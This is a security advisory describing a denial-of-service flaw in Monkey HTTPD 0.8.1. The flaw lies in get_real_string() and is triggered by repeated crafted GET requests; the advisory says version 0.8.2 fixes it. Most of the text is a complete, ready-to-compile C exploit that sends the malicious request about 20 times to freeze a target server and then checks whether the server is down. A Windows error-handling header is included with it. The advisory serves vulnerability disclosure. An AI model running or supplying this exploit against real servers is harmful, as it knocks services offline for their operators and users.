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"Monkey is a Web server written in C that works under Linux. This is an open source project based on the HTTP/1.1 protocol."
The sending of a sequence of crafted HTTP requests leads to the freeze of the web server. |
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Credit:
The information has been provided by Luigi Auriemma.
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Vulnerable Systems:
* Monkey HTTPD versions 0.8.1
Immune Systems:
* Monkey HTTPD versions 0.8.2
The problem is located in the function get_real_string(). A malicious user can cause the server to DoS by issuing an HTTP GET request in the form of "GET /%%%%%%%%%%%% HTTP/1.0" for about 20 times.
Vendor Status:
The vulnerability was fixed in version 0.8.2 which can be downloaded from the vendor's site.
Exploit Code:
Below is an exploit code for both Windows and Linux. The source code requires winerr.h which is also given below.
//monkeydos.c
/*
by Luigi Auriemma
UNIX & WIN VERSION
*/
#include < stdio.h>
#include < stdlib.h>
#include < string.h>
#ifdef WIN32
#include < winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include < unistd.h>
#include < sys/socket.h>
#include < sys/types.h>
#include < arpa/inet.h>
#include < netdb.h>
#endif
#define VER "0.1"
#define PORT 2001
#define MAX 20
#define TIMEOUT 7
#define REQ "GET /%%%%%%%%%%%% HTTP/1.0\r\n" \
"\r\n"
/* %%%%%%%%%%%% doesn't seem to be needed */
/* no "Host" = BOOM */
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
err,
i;
u_short port = PORT;
setbuf(stdout, NULL);
fputs("\n"
"Monkey httpd < = 0.8.1 remote DoS "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\nUsage: %s < server> [port(%d)]\n"
"\n", argv[0], PORT);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("\nConnections to %s:%hu\n",
inet_ntoa(peer.sin_addr), port);
for(i = 0; i < MAX; i++) {
printf("%d\r", i);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
if(err < 0) std_err();
err = send(sd, REQ, sizeof(REQ) - 1, 0);
if(err < 0) std_err();
close(sd);
}
printf("\n\n- Now I check if the server is dead (%d seconds):\n", TIMEOUT);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
if(err < 0) std_err();
err = send(sd, REQ, sizeof(REQ) - 1, 0);
if(err < 0) std_err();
err = timeout(sd);
if(err < 0) {
fputs("\n Server IS vulnerable!!!\n\n", stdout);
} else {
fputs("\n Server doesn't seem to be vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
//winerr.h
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include < string.h>
#include < errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
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